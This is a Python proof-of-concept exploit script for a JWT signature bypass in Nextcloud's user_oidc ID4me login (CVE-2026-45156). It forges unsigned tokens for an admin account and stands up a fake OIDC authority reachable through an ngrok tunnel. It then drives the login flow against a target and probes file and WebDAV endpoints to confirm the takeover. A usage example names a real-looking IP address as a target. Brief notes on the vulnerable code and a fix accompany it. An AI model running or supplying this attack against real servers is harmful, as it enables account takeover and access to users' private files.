README.md
Rendering markdown...
#!/usr/bin/env python3
"""
=====================================================================
CVE-2026-45156: Nextcloud user_oidc ID4me JWT Signature Bypass
Proof of Concept (PoC) Exploit Script
Author: CyberTechAjju
Vulnerability : Missing JWT signature verification
File : lib/Controller/Id4meController.php (Lines 248-252)
Impact : Authentication bypass -> Admin takeover
Usage: python nextcloud_id4me_poc.py <LAB_URL> [--user admin]
Example: python nextcloud_id4me_poc.py https://target.lab
===================================================================
LEGAL DISCLAIMER:
This Proof of Concept (PoC) script is provided for EDUCATIONAL
AND AUTHORIZED SECURITY TESTING PURPOSES ONLY. It is intended for
security researchers and bug bounty hunters to test systems they
have explicit permission to audit. Any unauthorized use of this
tool against systems you do not own or have permission to test is
strictly prohibited and may be illegal. The author is not
responsible for any misuse or damage caused by this tool.
===================================================================
"""
import base64
import json
import os
import re
import socket
import sys
import time
import threading
import urllib.parse
from http.server import HTTPServer, BaseHTTPRequestHandler
try:
import requests
requests.packages.urllib3.disable_warnings()
except ImportError:
print("\n [!] Missing: pip install requests\n")
sys.exit(1)
try:
from pyngrok import ngrok, conf as ngrok_conf
except ImportError:
print("\n [!] Missing: pip install pyngrok\n")
sys.exit(1)
# ============================================
# CONSOLE
# ============================================
class C:
R = "\033[91m"; G = "\033[92m"; Y = "\033[93m"
CN = "\033[96m"; B = "\033[1m"; D = "\033[2m"
X = "\033[0m"
def info(m): print(f" {C.CN}[*]{C.X} {m}")
def ok(m): print(f" {C.G}[+]{C.X} {m}")
def warn(m): print(f" {C.Y}[!]{C.X} {m}")
def fail(m): print(f" {C.R}[-]{C.X} {m}")
def step(n,m): print(f"\n {C.Y}{C.B}{'='*55}\n [{n}] {m}\n {'='*55}{C.X}\n")
def banner():
import time
import sys
# Hide cursor
sys.stdout.write('\033[?25l')
red = "\033[38;5;196m"
dark_red = "\033[38;5;124m"
neon_red = "\033[38;5;9m"
white = "\033[97m"
bold = "\033[1m"
reset = "\033[0m"
glitch_frames = [
f"{red} [x] INITIALIZING EXPLOIT PAYLOAD...{reset}",
f"{dark_red} [!] BYPASSING JWT SIGNATURE CHECKS...{reset}",
f"{neon_red} [>] INJECTING FORGED TOKENS...{reset}",
f"{red} [+] ACCESS GRANTED.{reset}"
]
print("\n")
for frame in glitch_frames:
sys.stdout.write(f"\r{frame}")
sys.stdout.flush()
time.sleep(0.4)
print("\n")
hacker_art = f"""{bold}{neon_red}
██████╗ ██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗
██╔════╝ ██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ {reset}
"""
for line in hacker_art.split('\n'):
print(line)
time.sleep(0.05)
print(f"""{bold}{white}
╔═══════════════════════════════════════════════════════════════╗
║ {neon_red}Nextcloud user_oidc - ID4me JWT Signature Bypass PoC{white} ║
║ Fully Automated + Ngrok Tunnel Framework ║
║ Targeting: Id4meController.php (Lines 248-252) ║
║ ║
║ {dark_red}Author:{white} CyberTechAjju ║
║ {dark_red}Status:{white} WEAPONIZED ║
╚═══════════════════════════════════════════════════════════════╝{reset}
""")
# Show cursor
sys.stdout.write('\033[?25h')
time.sleep(0.5)
# ============================================
# JWT FORGERY
# ============================================
def b64url(data):
if isinstance(data, str):
data = data.encode()
return base64.urlsafe_b64encode(data).decode().rstrip("=")
def forge_jwt(user, issuer="https://attacker.id4me"):
h = json.dumps({"alg": "none", "typ": "JWT"})
p = json.dumps({
"sub": user,
"exp": 9999999999,
"iat": int(time.time()),
"aud": "nextcloud",
"iss": issuer,
"nonce": "poc",
"email": f"{user}@exploit.poc",
"preferred_username": user,
})
return f"{b64url(h)}.{b64url(p)}."
# ============================================
# FAKE ID4ME OIDC SERVER
# ============================================
class SharedState:
target_user = "admin"
public_url = "" # ngrok public URL
token_requested = False # did target hit /token?
token_sent = "" # JWT we sent back
auth_redirected = False # did we redirect back?
requests_log = [] # all requests received
class OIDCHandler(BaseHTTPRequestHandler):
def log_message(self, *_): pass
def _json(self, obj, code=200):
body = json.dumps(obj).encode()
self.send_response(code)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", len(body))
self.send_header("Access-Control-Allow-Origin", "*")
self.end_headers()
self.wfile.write(body)
def do_GET(self):
path = urllib.parse.urlparse(self.path).path
query = dict(urllib.parse.parse_qsl(urllib.parse.urlparse(self.path).query))
SharedState.requests_log.append(("GET", path, query))
ok(f" OIDC Server <-- GET {path}")
if path == "/.well-known/openid-configuration":
base = SharedState.public_url
self._json({
"issuer": base,
"authorization_endpoint": f"{base}/authorize",
"token_endpoint": f"{base}/token",
"jwks_uri": f"{base}/jwks",
"userinfo_endpoint": f"{base}/userinfo",
"response_types_supported": ["code"],
"subject_types_supported": ["public"],
"id_token_signing_alg_values_supported": ["none", "RS256"],
"scopes_supported": ["openid", "profile", "email"],
})
ok(" --> Sent OpenID Configuration")
elif path == "/authorize":
redirect_uri = query.get("redirect_uri", "")
state = query.get("state", "")
if redirect_uri:
sep = "&" if "?" in redirect_uri else "?"
loc = f"{redirect_uri}{sep}code=FORGED_AUTH_CODE&state={state}"
self.send_response(302)
self.send_header("Location", loc)
self.end_headers()
SharedState.auth_redirected = True
ok(f" --> Redirected back with forged auth code")
ok(f" --> To: {loc[:100]}")
else:
self._json({"error": "missing redirect_uri"}, 400)
elif path == "/jwks":
self._json({"keys": []})
elif path == "/userinfo":
self._json({
"sub": SharedState.target_user,
"email": f"{SharedState.target_user}@exploit.poc",
"preferred_username": SharedState.target_user,
"name": SharedState.target_user,
})
ok(f" --> Sent userinfo for: {SharedState.target_user}")
else:
self.send_error(404)
def do_POST(self):
path = urllib.parse.urlparse(self.path).path
content_len = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(content_len).decode() if content_len else ""
SharedState.requests_log.append(("POST", path, body))
ok(f" OIDC Server <-- POST {path}")
if path == "/token":
jwt = forge_jwt(SharedState.target_user, SharedState.public_url)
SharedState.token_requested = True
SharedState.token_sent = jwt
self._json({
"access_token": "fake_access_token_poc",
"token_type": "Bearer",
"expires_in": 3600,
"id_token": jwt,
"scope": "openid profile email",
})
ok(f" --> FORGED JWT SENT for user: {SharedState.target_user}")
ok(f" --> Token: {jwt[:60]}...")
else:
self.send_error(404)
def start_oidc_server(port=9999):
srv = HTTPServer(("0.0.0.0", port), OIDCHandler)
t = threading.Thread(target=srv.serve_forever, daemon=True)
t.start()
return srv
# ============================================
# NGROK TUNNEL
# ============================================
def start_ngrok_tunnel(port=9999):
"""Start ngrok tunnel and return public HTTPS URL"""
info("Starting ngrok tunnel...")
info(f"Tunneling localhost:{port} to public URL...")
try:
# Kill any existing ngrok
ngrok.kill()
time.sleep(1)
# Start tunnel
tunnel = ngrok.connect(port, "http")
public_url = tunnel.public_url
# Force HTTPS
if public_url.startswith("http://"):
public_url = public_url.replace("http://", "https://", 1)
ok(f"Ngrok tunnel active!")
ok(f"Public URL: {C.B}{public_url}{C.X}")
ok(f"Local: http://localhost:{port}")
return tunnel, public_url
except Exception as e:
fail(f"Ngrok failed: {e}")
fail("Make sure ngrok is configured: ngrok config add-authtoken <YOUR_TOKEN>")
fail("Get free token at: https://dashboard.ngrok.com/signup")
return None, None
# ============================================
# SCANNER + EXPLOITER
# ============================================
class NextcloudExploit:
def __init__(self, target):
self.target = target.rstrip("/")
if not self.target.startswith("http"):
self.target = f"http://{self.target}"
self.s = requests.Session()
self.s.verify = False
self.s.headers["User-Agent"] = (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/125.0.0.0 Safari/537.36"
)
self.version = None
self.id4me_active = False
self.vuln_confirmed = False
# -- Phase 1: Detect --
def detect_nextcloud(self):
step(1, "DETECTING NEXTCLOUD")
try:
r = self.s.get(f"{self.target}/status.php", timeout=15)
if r.status_code == 200:
data = r.json()
self.version = data.get("versionstring", data.get("version", "?"))
ok(f"Nextcloud v{C.B}{self.version}{C.X}")
ok(f"Product: {data.get('productname', 'Nextcloud')}")
return True
except:
pass
try:
r = self.s.get(f"{self.target}/login", timeout=15)
if "nextcloud" in r.text.lower():
ok("Nextcloud login page found")
self.version = "unknown"
return True
except Exception as e:
fail(f"Connection error: {e}")
fail("Not a Nextcloud instance!")
return False
# -- Phase 1.5: Extract CSRF Token --
def grab_csrf_token(self):
step("1b", "EXTRACTING CSRF TOKEN")
try:
r = self.s.get(f"{self.target}/login", timeout=10)
# Method 1: data-requesttoken attribute
m = re.search(r'data-requesttoken="([^"]+)"', r.text)
if m:
self.csrf_token = m.group(1)
ok(f"CSRF token (data-requesttoken): {self.csrf_token[:30]}...")
return True
# Method 2: head[data-requesttoken]
m = re.search(r"requesttoken\s*[=:]\s*[\"']([^\"']+)", r.text)
if m:
self.csrf_token = m.group(1)
ok(f"CSRF token (regex): {self.csrf_token[:30]}...")
return True
# Method 3: meta tag
m = re.search(r'<meta[^>]*requesttoken[^>]*content="([^"]+)"', r.text, re.I)
if m:
self.csrf_token = m.group(1)
ok(f"CSRF token (meta): {self.csrf_token[:30]}...")
return True
# Method 4: inline JS
m = re.search(r'oc_requesttoken\s*=\s*["\']([^"\']+)', r.text)
if m:
self.csrf_token = m.group(1)
ok(f"CSRF token (JS): {self.csrf_token[:30]}...")
return True
warn("CSRF token not found on login page")
# Try getting it from a cookie or header
if 'nc_token' in self.s.cookies:
self.csrf_token = self.s.cookies['nc_token']
ok(f"CSRF token (cookie): {self.csrf_token[:30]}...")
return True
except Exception as e:
fail(f"Error grabbing CSRF: {e}")
self.csrf_token = ""
return False
# -- Phase 2: Check ID4me --
def detect_id4me(self):
step(2, "CHECKING user_oidc & ID4me")
found = []
# Login page check
try:
r = self.s.get(f"{self.target}/login", timeout=10)
if "id4me" in r.text.lower():
found.append("ID4me on login page")
if "user_oidc" in r.text.lower():
found.append("user_oidc on login page")
except:
pass
# Endpoint probing
eps = [
"/index.php/apps/user_oidc/id4me",
"/index.php/apps/user_oidc/id4me/code",
"/apps/user_oidc/id4me",
"/apps/user_oidc/id4me/code",
]
for ep in eps:
try:
r = self.s.get(f"{self.target}{ep}", timeout=8, allow_redirects=False)
if r.status_code != 404:
found.append(f"{ep} -> HTTP {r.status_code}")
except:
pass
# OIDC API
try:
r = self.s.get(
f"{self.target}/ocs/v2.php/apps/user_oidc/api/v1/providers",
headers={"OCS-APIRequest": "true"}, timeout=8)
if r.status_code != 404:
found.append(f"OIDC API -> HTTP {r.status_code}")
except:
pass
if found:
for f_ in found:
ok(f_)
self.id4me_active = True
return True
fail("ID4me NOT found")
return False
# -- Phase 3: Forge JWT --
def show_forged_token(self, user):
step(3, "FORGING JWT TOKEN")
token = forge_jwt(user)
parts = token.split(".")
header = json.loads(base64.urlsafe_b64decode(parts[0] + "=="))
payload = json.loads(base64.urlsafe_b64decode(parts[1] + "=="))
ok(f"Target user: {C.B}{user}{C.X}")
ok(f"Algorithm: {C.R}none (no signature!){C.X}")
info(f"Header: {json.dumps(header)}")
info(f"Payload: {json.dumps(payload)}")
info(f"Token: {C.D}{token[:70]}...{C.X}")
return token
# -- Phase 4: Ngrok + Exploit --
def exploit_with_ngrok(self, user, port=9999):
step(4, "STARTING ATTACK INFRASTRUCTURE")
# Start fake OIDC server
info("Starting fake OIDC authority server...")
srv = start_oidc_server(port)
ok(f"OIDC server running on port {port}")
print()
# Start ngrok tunnel
tunnel, public_url = start_ngrok_tunnel(port)
if not public_url:
fail("Cannot proceed without ngrok tunnel!")
fail("Run: ngrok config add-authtoken <YOUR_TOKEN>")
srv.shutdown()
return False
# Set shared state
SharedState.target_user = user
SharedState.public_url = public_url
SharedState.token_requested = False
SharedState.auth_redirected = False
SharedState.requests_log = []
print()
info(f"Fake authority public URL: {C.B}{public_url}{C.X}")
info(f"Target will connect to this URL for OIDC flow")
# --- EXPLOIT ---
step(5, "EXPLOITING - FULL ID4me LOGIN FLOW")
ngrok_domain = urllib.parse.urlparse(public_url).hostname
# Build headers with CSRF token
csrf_headers = {
"requesttoken": self.csrf_token,
"OCS-APIRequest": "true",
"X-Requested-With": "XMLHttpRequest",
"Origin": self.target,
"Referer": f"{self.target}/login",
}
info(f"Using CSRF token: {self.csrf_token[:30]}...")
info(f"Ngrok domain: {ngrok_domain}")
print()
# Method A: Trigger ID4me login with CSRF token
info("Method A: ID4me login with CSRF token...")
id4me_identifiers = [
f"exploit@{ngrok_domain}",
f"{ngrok_domain}",
f"admin@{ngrok_domain}",
f"test@{ngrok_domain}",
]
login_eps = [
"/index.php/apps/user_oidc/id4me",
"/apps/user_oidc/id4me",
]
for ep in login_eps:
for identifier in id4me_identifiers:
try:
# POST with CSRF token in header
r = self.s.post(
f"{self.target}{ep}",
data={"id4me_identifier": identifier},
headers=csrf_headers,
allow_redirects=False, timeout=15,
)
info(f" POST {ep} [{identifier[:30]}] -> HTTP {r.status_code}")
if r.status_code in (302, 303, 307):
loc = r.headers.get("Location", "")
ok(f" REDIRECT -> {loc[:120]}")
if loc:
ok(" Following redirect chain...")
r2 = self.s.get(loc, allow_redirects=True, timeout=20)
info(f" Final: HTTP {r2.status_code} at {r2.url[:100]}")
if any(x in r2.url for x in ["/dashboard", "/apps/files"]):
self.vuln_confirmed = True
ok(f" {C.R}{C.B}LANDED ON DASHBOARD - AUTH BYPASS!{C.X}")
# If we got past 412, no need to try more identifiers
if r.status_code != 412:
break
except Exception as e:
info(f" {ep} -> Error: {e}")
# Method A2: Try JSON body instead of form data
print()
info("Method A2: ID4me login with JSON body...")
for ep in login_eps:
try:
json_headers = {**csrf_headers, "Content-Type": "application/json"}
r = self.s.post(
f"{self.target}{ep}",
json={"id4me_identifier": f"exploit@{ngrok_domain}"},
headers=json_headers,
allow_redirects=False, timeout=15,
)
info(f" POST(JSON) {ep} -> HTTP {r.status_code}")
if r.status_code in (302, 303, 307):
loc = r.headers.get("Location", "")
ok(f" REDIRECT -> {loc[:120]}")
except Exception as e:
info(f" {ep} -> Error: {e}")
# Wait for token exchange
info("\n Waiting 5s for async token exchange...")
time.sleep(5)
# Method B: Direct callback with forged code + CSRF
print()
info("Method B: Direct callback injection with CSRF...")
code_eps = [
"/index.php/apps/user_oidc/id4me/code",
"/apps/user_oidc/id4me/code",
]
for ep in code_eps:
# GET with CSRF headers (primary — HTTP 405 on POST means GET only)
try:
r = self.s.get(
f"{self.target}{ep}",
params={"code": "FORGED_AUTH_CODE", "state": "poc"},
headers=csrf_headers,
allow_redirects=False, timeout=10)
info(f" GET {ep} -> HTTP {r.status_code}")
if r.status_code in (302, 303, 307):
loc = r.headers.get("Location", "")
ok(f" REDIRECT -> {loc[:120]}")
if any(x in loc for x in ["/dashboard", "/apps/"]):
self.vuln_confirmed = True
ok(f" {C.R}{C.B}REDIRECT TO DASHBOARD!{C.X}")
except Exception as e:
info(f" GET -> {e}")
# POST with CSRF
try:
r = self.s.post(
f"{self.target}{ep}",
data={"code": "FORGED_AUTH_CODE", "state": "poc"},
headers=csrf_headers,
allow_redirects=False, timeout=10)
info(f" POST {ep} -> HTTP {r.status_code}")
if r.status_code in (302, 303, 307):
loc = r.headers.get("Location", "")
ok(f" REDIRECT -> {loc[:120]}")
if any(x in loc for x in ["/dashboard", "/apps/"]):
self.vuln_confirmed = True
ok(f" {C.R}{C.B}REDIRECT TO DASHBOARD!{C.X}")
except Exception as e:
info(f" POST -> {e}")
# Check what our OIDC server received
print()
step(6, "CHECKING ATTACK SERVER LOGS")
info(f"Total requests received: {len(SharedState.requests_log)}")
for method, path, data in SharedState.requests_log:
ok(f" {method} {path}")
print()
if SharedState.token_requested:
ok(f"{C.G}{C.B}TARGET HIT /token - FORGED JWT WAS SENT!{C.X}")
ok(f"JWT sent: {SharedState.token_sent[:70]}...")
self.vuln_confirmed = True
else:
info("Target did not request token from our server")
if SharedState.auth_redirected:
ok(f"{C.G}{C.B}TARGET WAS REDIRECTED THROUGH OUR AUTH!{C.X}")
# Verify auth
if self.vuln_confirmed:
print()
info("Verifying authenticated access...")
self._check_auth()
# Cleanup
try:
ngrok.disconnect(tunnel.public_url)
ngrok.kill()
except:
pass
srv.shutdown()
return self.vuln_confirmed
def _check_auth(self):
checks = [
(f"{self.target}/ocs/v2.php/cloud/user", "User info"),
(f"{self.target}/remote.php/dav/files/admin/", "WebDAV files"),
(f"{self.target}/index.php/apps/files/", "Files app"),
]
for url, desc in checks:
try:
r = self.s.get(url, timeout=8, allow_redirects=False,
headers={"OCS-APIRequest": "true"})
if r.status_code == 200:
ok(f" {desc} -> {C.G}HTTP 200 ACCESSIBLE!{C.X}")
self.vuln_confirmed = True
try:
d = r.json()
uid = d.get("ocs", {}).get("data", {}).get("id")
if uid:
ok(f" Logged in as: {C.B}{uid}{C.X}")
except:
pass
else:
info(f" {desc} -> HTTP {r.status_code}")
except:
pass
# -- Final Report --
def report(self, user):
step("R", "FINAL REPORT")
print(f" Target: {self.target}")
print(f" NC Version: {self.version or 'N/A'}")
print(f" ID4me: {'Active' if self.id4me_active else 'Not Found'}")
print(f" Target User: {user}")
print(f" Ngrok URL: {SharedState.public_url or 'N/A'}")
print(f" Token Sent: {'YES' if SharedState.token_requested else 'NO'}")
print(f" Time: {time.strftime('%Y-%m-%d %H:%M:%S')}")
print()
if self.vuln_confirmed:
print(f"""{C.R}{C.B}
=========================================================
| VULNERABLE - CONFIRMED |
=========================================================
| |
| JWT signature verification is MISSING. |
| Forged token accepted without any signature check. |
| Authentication bypass -> admin takeover possible. |
| |
| Vuln File: Id4meController.php (Lines 248-252) |
| Root Cause: base64_decode() without JWT::decode() |
| TODO: "VALIATE SIGNATURE!" (never implemented) |
| |
========================================================={C.X}
""")
elif self.id4me_active:
print(f"""{C.Y}{C.B}
=========================================================
| LIKELY VULNERABLE - ID4me ACTIVE |
=========================================================
| |
| ID4me endpoints active and responding. |
| Token exchange: {'COMPLETED' if SharedState.token_requested else 'NOT COMPLETED'} |
| Auth redirect: {'YES' if SharedState.auth_redirected else 'NO'} |
| |
| The vulnerable code pattern exists: |
| explode() + base64_decode() without verify |
| /** TODO: VALIATE SIGNATURE! */ |
| |
========================================================={C.X}
""")
else:
print(f"""{C.G}{C.B}
=========================================================
| NOT VULNERABLE |
=========================================================
| user_oidc / ID4me not active on target. |
========================================================={C.X}
""")
# Vuln details
print(f"""
{C.B}Vulnerable Code (Id4meController.php:248-252):{C.X}
{C.R}[$header, $payload, $signature] = explode('.', $data['id_token']);
$plainHeaders = json_decode(base64_decode($header), true);
$plainPayload = json_decode(base64_decode($payload), true);
/** TODO: VALIATE SIGNATURE! */{C.X}
{C.B}Fix:{C.X}
{C.G}$keys = JWK::parseKeySet($jwks);
$payload = (array) JWT::decode($data['id_token'], $keys);{C.X}
""")
# -- Run Everything --
def run(self, user="admin", port=9999):
banner()
if not self.detect_nextcloud():
return
self.grab_csrf_token()
if not self.detect_id4me():
self.report(user)
return
self.show_forged_token(user)
self.exploit_with_ngrok(user, port)
self.report(user)
# ============================================
# MAIN
# ============================================
def main():
if len(sys.argv) < 2 or sys.argv[1] in ("-h", "--help"):
print(f"""
{C.CN}{C.B} Nextcloud ID4me JWT Bypass - Automated PoC + Ngrok{C.X}
{C.B}Usage:{C.X}
python {sys.argv[0]} <TARGET_URL> [--user admin] [--port 9999]
{C.B}Examples:{C.X}
python {sys.argv[0]} https://219.93.30.140
python {sys.argv[0]} http://target.lab:8080 --user admin
{C.B}Setup (one-time):{C.X}
pip install requests pyngrok
ngrok config add-authtoken <YOUR_TOKEN>
(Get token: https://dashboard.ngrok.com/signup)
{C.B}Flow:{C.X}
1. Detect Nextcloud + version
2. Check user_oidc / ID4me
3. Forge JWT (alg:none, no signature)
4. Start fake OIDC server + ngrok tunnel
5. Trigger ID4me flow with forged token
6. Verify authentication bypass
7. Print report
""")
sys.exit(0)
target = sys.argv[1]
user = "admin"
port = 9999
args = sys.argv[2:]
i = 0
while i < len(args):
if args[i] == "--user" and i+1 < len(args):
user = args[i+1]; i += 2
elif args[i] == "--port" and i+1 < len(args):
port = int(args[i+1]); i += 2
else:
i += 1
scanner = NextcloudExploit(target)
scanner.run(user=user, port=port)
if __name__ == "__main__":
main()